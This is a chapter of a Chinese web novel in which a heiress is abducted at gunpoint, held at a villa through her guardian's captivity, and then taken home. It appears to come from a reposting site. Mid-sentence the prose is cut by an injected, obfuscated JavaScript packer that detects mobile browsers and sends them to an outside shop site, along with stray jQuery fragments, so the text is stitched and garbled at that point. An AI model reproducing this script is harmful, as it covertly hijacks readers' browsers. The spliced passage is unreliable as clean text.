5. 今我来思

作品:《万亿千金选择继续复仇

    步履匆匆朝月子中心北门去,月买茶给在南门的司机发了条自己刚进电梯的消息。


    很快一个电话打进来,是叶青衫的。


    工作时间的来电实在诡异,她等了会儿才接起,“怎么了哥?”


    叶青衫开门见山问她是找谁帮的忙,“李惨绿?”


    他哥,月买茶在心里接上话,说:“找了嘉措哥。”


    “十三岁的时候他说我影响市容,后面一直觉得对不起我,就让我有事找他,刚好他是青琐人,我就找他帮忙了。”


    叶青衫沉默的时间比昨天短了很多,“他人不错,但不会在这种事上帮你。”


    “原地待着,我让司机去找你,乖乖在家待着,别让自己难过。”


    讲话可真难听,撇撇嘴,月买茶继续往外走。


    走到一辆低调的SUV旁,她拉车门坐进后座。


    “帮朋友孩子换尿布呢,没空听你说有的没的。”她说,“电话你挂,我没手。”


    叶青衫似乎笑了声,“小兔崽子。”


    干你祖宗十八代,我是老虎,腹诽着,月买茶闻到一股火药味。


    手立刻往腿摸去,但一支更大的枪抢先一步顶上了她的太阳穴。


    “也太没安全意识了。”持枪者用一种上了年纪的声音说。


    月买茶眨了眨眼,“哥,我被绑架了。”


    “把电话给那个人。”


    “叶青衫找你,你看新闻的吧。”将手机递到身边,月买茶咬牙切齿地笑道,“不知道叶青衫,李清许你总知道吧。”


    手机被拿走,那人说:“青青,是我。”


    “老爷子想见见月小姐。”


    “毕竟以后是一家人了。”


    月买茶乐了,抬高声音喊:“一家人你拿枪顶我太阳穴啊。”


    枪没有因为那话离开她的太阳穴,但镶矢车菊蓝宝石的手机却归回到了她的耳旁。


    男人的呼吸沉重,她冷冷开口:“哥——”


    叶青衫轻轻叹了口气,“抱歉,去一趟吧,就当去做客。”


    “晚点叔叔会去接你。”


    月买茶笑了,甜甜的笑挂在脸上,她说好:“午安,哥哥。”


    没等叶青衫回答,她直接挂断电话。擦着枪口转头,她一掰持枪者手腕,拨保险,握他手给了车前窗一弹夹。


    防弹玻璃裂出好看的纹路,月买茶交叠起双腿,端正坐姿,王一样扬起下巴:


    “走吧。”


    *


    阿斯顿马丁开上一座安静的山,月买茶被请进一幢小楼里。


    小楼朴素,米色棉布干净柔软地铺满所有坐具,梅花香从粗瓷的孔里钻出来,一派轻松田园风。


    被引着坐到正对木窗的长沙发上,月买茶遭了成年后的第二次冷落。


    好在她自有打发时间的法子。悠然起身,她赏起挂满墙壁的非名家字画。


    “真不好意思。”拨碎一个粗陶花瓶,她踩碾着撒了一地的梅,对保姆打扮的人致歉。


    保姆憨厚笑笑,健步如飞离去。


    片刻后,一制服打扮的陌生男人迈着有力步伐赶到,递给她一个崭新iPad。


    新iPad里头的数据软件与她手机里的一模一样。


    想到被收走的手机和蒙着眼的来时路,平静接过iPad,月买茶问制服男人,“带我来的那男的是谁?”


    制服男人笑:“言叔帮老先生处理事情去了,处理完他会过来。”


    月买茶呵了声,收回打量制服男人的视线,她边走神边回复一些简单的邮件。


    老先生?她倒要看看是哪个老不死的。


    抱着一簇新梅,保姆走到附近的柜子前,背对着她摆弄花枝高低。轻轻走过去,掏枪顶住保姆的头,她什么要求都没提。


    保姆憨憨地笑着,掰开她的手,轻轻拿走枪,十分抱歉道:“Xie小姐,夏洲禁枪,慈山也不能免,您多担待。”


    Xie小姐?哪个Xie?禁毒委说她最初的身份加密,那只能是解琟的解了。


    用力抽回手,她恶声恶气说:“齐燕华呢?”


    “齐议长在开会。”保姆笑吟吟的,一副会问她午饭想吃什么的模样。


    转了转手腕,她伸出双手锁住保姆喉咙,“你家老爷子是谁?”


    保姆面色通红,语气从容:“言哥没告诉您的话就是不想让您知道。”


    “或者他觉得您知道。”


    “这样啊。”歉然一笑,月买茶松开保姆掂量起来能去开赛车的脖子,“劳烦您替我转告老爷子,我气血旺,坐不住,得靠运动打发时间。”


    “请他多担待。”


    话说完,她端起摆件就砸,梅花、陶瓷、家具,越过可能有意义的小物件和书画,她一路砸到紧闭的房门前。


    握住门把手,她推开一小条缝:


    “老先生,我一个孤儿,做不了任何人的把柄,您拘着我,没用。”


    “今儿损坏我百倍赔偿,请您高抬贵手。”


    “不然——”


    “——老爷子让我转告您,隐岛风大,您要是闲着,不如帮解琟先生织件毛衣,免得他受寒。”凑到她身边,保姆微微笑着解了她的斗篷,斗篷上染着层水珠,保姆耳上,蓝牙耳机闪烁不停。


    手一抖,月买茶推开了半扇门。


    明亮中苍老的眼神扫在脸上,她想起自己还有个在隐岛上的监护人。


    思绪千回百转,她轻轻合上门,接过保姆递来的扫把畚斗,清理起自己搞的破坏。


    监护人在人手里做人质,她除了低头能做什么。


    好不容易打扫完,站在天文学专著林立的书架前,她挑了本《呼兰河传》。


    监护人对山海关外的茫茫雪原有着莫名的喜欢,当初才在鹭岛安好家,他就买了一墙有关北省的书,想与她一起看。


    她那时拿起的是呼兰河传,也就拿过那么一次,后来就一直看别的流派的书了。


    春节那会儿跟齐燕华聊天,谈起那个时代,她说自己被团圆媳妇吓到,她还记得自己的抱怨,“给小孩子看的书还写家长打小孩,脑子被驴踢了。”


    齐燕华难得笑起来,“那是萧红写自己童年的,不是童书。”隔日书房里多了叠儿童文学。


    家长和孩子的矛盾依旧存在,好在没有了青紫的瘟猪和被烫死的团圆媳妇。


    吃一个全毛的鸡,出一身大汗,魂灵里边就永远有一个鸡存在着,神鬼就不敢上身,就不会做噩梦了。*1


    那我的魂灵里有什么呢?月买茶像吃饱了一样摸肚子,她吃过生鸡肉生羊肉生牛肉生马肉生鱼肉,还吃过很多很多生的蔬菜。


    那样想的话,那肚子里就有一个世界了。探索着自己的肚子,月买茶在鸡牛马羊的守护里发现了一座庙,那庙落了尘,莲座上坐着个女孩儿,女孩儿穿着蓝白相间的校服,飘逸公主切梳于脑后,扎出一个活泼高马尾,青春靓丽,与旁的高中生没差。


    女孩儿大大方方笑着,嘴里的话却含着能引发海啸的恨意,“人在屋檐下,不得不低头,我低了;小不忍则乱大谋,我忍了;韩信受胯下之辱,成淮阴侯,我信了。”


    “可你怎么还是这么落魄?”


    “不应该的。”女孩儿惊疑地走下莲台,从四面八方摸她的脸,“你怎么了?”


    “你是被哪个蠢货夺舍了吗?”


    “还是,感情还在毒害你?”


    月买茶怜爱地笑起来:“傻孩子,淮阴侯最后还不是被刘邦弄死了。”


    “那些人翻手为云覆手为雨,我怎么忍,怎么聪明都斗不过的。”


    女孩儿愣了愣,抽抽搭搭地啜泣起来,“可是我不想吃蛋糕了。”


    “我不想吃蛋糕。”


    月买茶怜爱地打开四面八方的手,安慰道:“斗不过就斗不过,活好每个当下就好。”


    “咱们这样短命的人,可千万不能去考虑以后。”


    “看个电影吧。”她问女孩儿,“想看什么?”


    女孩儿扁起嘴,她接上话,“乱世佳人吧。”


    那是安妮.蒙巴顿看过两遍的电影。


    女孩儿撇开眼,月买茶点进文件库深处。


    “After all,tomorrow is another day”*2从出音孔挤出,飘散在室内,才要调低音量,月买茶就听见一个男声开怀大笑:“I can''t agree more.”


    她抬起头,见一个高高胖胖的外国人动作夸张地在往书房走。


    那个胖老外携来一片金红晚霞。


    霞光刺进眼里,睁着两眼泪,她在疼痛的恍惚里意识到下午已经过去,而齐燕华始终没来。


    等人救不如自救。扫遍客厅,见满室空荡无物,她举起手,将iPad砸出去。


    轻薄平板被门槛击碎成无数星星,才离开沙发,她就见黑得油亮的靴子踩上那些星星。


    那是个气势内敛的中年男人,在他身上月买茶嗅到了硝烟的味道。


    男人一步一步走来,随着他的临近,她看见他手上端着盘去了内瓤的白玉苦瓜。


    清苦味自破碎细胞里漫开,月买茶坐回原位,看着那盘出自自家庄园的苦瓜,“你是谁的人。”


    男人微微一笑,放下精美的瓷盘,“祁璇小姐流产那日我们见过。”


    “哦?”


    满面疑惑,月买茶侧耳道:“您靠近点说行吗?我耳朵不好。”


    男人便凑近了,“我们在解——”


    “啪——”清脆似切苦瓜的声音自男人面皮上荡开,月买茶高举左手:“那看来我们还在我的手术室外见过。”


    一脸歉疚,她盯着男人,眉目平稳地笑:“第一次用左手打人,使不上力,您多担待。”


    中年男人收起笑容,端走苦瓜,大步一迈利落向里去,敲了两下书房的门推开。


    过了片刻,齐燕华来了。


    他背着最后一缕霞光进屋,迈着束枪支的腿路过她,身后罕见地没跟人。


    皮鞋踩在地上发出闷声,他看也没看她一眼,径直进了书房。


    她也没喊他,她饿得反胃,中午连着下午,她连口水都没敢喝。


    凝视着窗外梅花,点点红里出现了个她很熟悉的中年男人。


    是里头死老头长子的秘书。


    那秘书身后跟着个推着一餐车生食的人。


    “刚刚打了下李惨绿他爷爷身边人的脸,要道歉吗?”注视着秘书,月买茶问。


    “他们管那个人叫言叔。”


    秘书的脸色变了变,但很快就恢复回宠辱不惊的状态,“言叔确实过分。”


    十年前李家大爷情妇流产,是月买茶推的人,当夜在手术室外,她被敲断了左手。


    “一天没吃饭,饿了吧。”秘书侧头示意,推餐车的人便把摆生肉生鱼摆上茶几。


    “先垫垫肚子,等会儿齐议长就出来了。”


    没有因为喜欢的食物和饥饿动筷,月买茶问,“你怎么在青琐?”


    “陪太太回来参加讲座。”


    太太当然是李大太太了。她和李大太太互相仇视,原因众多。


    秘书夹了生菜叶子到她面前的小碗里,她拿起筷子,齐燕华顶着一脸她从没见过的愠怒出来。


    走到她这边,他道:“回家了。”


    放下筷子,月买茶跟了上去。


    小楼绿意盎然的栅栏旁停着辆标轴奥迪,前座半降下来的车窗露出齐燕华的脸。


    视线越过轿车打量着邻近形制相同的小楼,月买茶生出了点新想法。


    齐燕华像是知道她在想什么,“在慈山上乱来会被枪毙。”


    月买


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968801|193415||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    茶切了声,上了后座。


    *


    悯山离慈山不远,轿车开过大桥,拐过几弯,就是竹园了。


    齐燕华绕到后边为她开车门,手搭在门框上防止她被磕着——其实磕不着的——你说这个人怎么这样,“周日想看什么电影今晚看,明天我要出差。”


    每周看一部电影是他们那个五姓之家用来维持亲情的手段之一,三个哥哥都不在,就还是她来推荐电影。


    月买茶一阵头疼,儿时看电影为的是投人所好,长大以后要讨好的人不是电影迷,她就很少看了。


    一时半会儿要推荐点什么,她也推荐不出来。


    回卧室换衣服,脱纸尿裤时她突然想起一个词:spoiled。


    such spoiled brat.


    发语音给助理阿A让他汇报盛挽意近况,换上干爽的纸尿裤和舒服的家居服,她给盛挽意发文字消息,问他最近在看哪一部电影。


    回问她是否方便接电话后盛挽意打了电话来。


    电话那边吵吵嚷嚷的偶尔有几个摄影方面的专业词汇冒出来,应当是在拍杂志。


    “最近在看圣殇,韩国电影,关于母爱的。”


    “接了一个北省的宣传片,明天去北城实地取景。”


    “有空出来吗?”


    “我不在北城。”看着盛挽意的代言记录,月买茶的眉头渐渐拧起来,怎么什么乱七八糟的都接。


    “你缺钱?”她单刀直入问,“没沾黄|赌|毒吧。”


    “没,看上几套房子。”


    “哪里的房子,我房子多得是,直接送你得了。”


    盛挽意默了默,“违约麻烦,我先去拍宣传片了,晚点聊。”


    “好。”


    圣殇不仅是一部讲母爱的电影。


    还是一部邪典片。


    她跟闫涓钟?易慧一起看过。


    到楼下时起居室的帘子已经放下来了,白纱轻舞,齐燕华站在浮雕精美的门拱下,摆弄他那部有翻盖手机壳的手机。


    “想好看什么了吗?”收起手机,齐燕华问。


    “想好了。”月买茶答,“但我得先吃个饭。”


    “在这边吃吧。”齐燕华说,“今天破例。”


    家里有起居室里不能吃东西的规矩,月买茶不理解,但没破坏过。


    “呜呼。”她挑了挑眉,上前拨开纱帘。


    茶几上已经摆满了食物,汤汤水水的,并不适合边看电影边吃。


    赤脚踩上地毯,她盘腿坐到地上,放好电影,拿起筷子,边搅和大碗里盖着麻酱的米粉边说:“你自己看吧。”


    “我看过一回了。”


    齐燕华说好。


    埋头嗦粉,顺带回忆圣殇的剧情,想久了,人也陷入到那种灰扑扑的,似乎永远在下雨的氛围里。


    做什么都提不起劲儿的氛围。


    分别在装着人物和台词的记忆箱子里找出相对应的情节衔接上,衔到最后看到一瞎一疯一跳楼的三位母亲,月买茶觉得圣殇简直是部教孩童走正道的教育神片。


    看,要是你们不乖,你们的妈妈就会不得好死。


    浸在黎明和傍晚的蓝色时刻里,月买茶想起许许多多往事里最戳她肺管子的那件。


    “月小姐你是个很优秀的女孩子。在元伦理学方面的造诣也很高。”中年女人的红唇翕动着,“但比起一个哲学家,李家更需要的是一个能服众的主母。”


    “据我所知你的监护人并没有给你提供相关的教育。”


    “听说你没去过隐岛,不知道你还记不记得他的长相。”


    说着朝月买茶推去一部播着视频的手机,女人自信满满地微笑道:“相信我很快就能听到好消息。”


    手机是静音的,画面无声,只能凭借口型来辨别视频里的人说了什么。


    认真看完已经看过很多遍的视频,月买茶抬起头,礼貌给出答复:“我一直知道。”


    “我不介意这个。”


    女人眼角眉梢的笑被她的鱼尾纹卡着了,那上面还卡了一瞬间的难以想象。


    很快她的鱼尾纹就被沉下来的表情抚平了。


    那卡着的情绪落入她犀利的眼眸中,在明目张胆的思考里刻意转化为不屑和怜悯:“何必这样死缠烂打?你这样——”


    女人顿了顿,换了种拉家常的和善语气与月买茶说话:“Mrs.Crown——”


    “——我们的婚姻不作数,那只是让合作好听一点的协议而已。”月买茶沉静叙述道,“没有备案,没有登记,没有广而告之,完全不作数。”


    女人轻轻笑了声,她笑得很包容,那是种听到无聊笑话后给面子笑了下的包容。


    “好吧好吧。”她说道:“Mrs.Rich,Mrs.Wise,Mrs.Crown,随便您想我怎么称呼您。”


    “反正呢,您应该不会想您的继子和亲生女儿硬要和一个像您一样的人结婚,更不想他们因为这样无聊的原因跟家族里的兄弟产生隔阂——”


    “——对吧。”她咬字咬得很轻松,像知道自己会赢得辩论比赛的正方辩手。


    “对吧。”她催促着问。


    蓝天白云下马路对面出现一个男青年,咖啡馆里,Almost lover轻飘飘地回荡着,灵肉分离着,月买茶点了下头。


    她甚至不愿叫我Miss.Harvey.


    那么好的天气,那么让人心平气和的天气。眼泪噗通噗通砸进麻酱里,晕开的色调像泥土像屎。


    电视机亮起来,齐燕华垂着睫毛,纱帘晃动着,阴影在他那张好看得叫人止息的脸上折叠成怜爱。


    “乖,不哭了。”


    “干她祖宗十八代的我明明叫Victoria.Elle.Harvey。”麻酱发出被污辱的尖叫。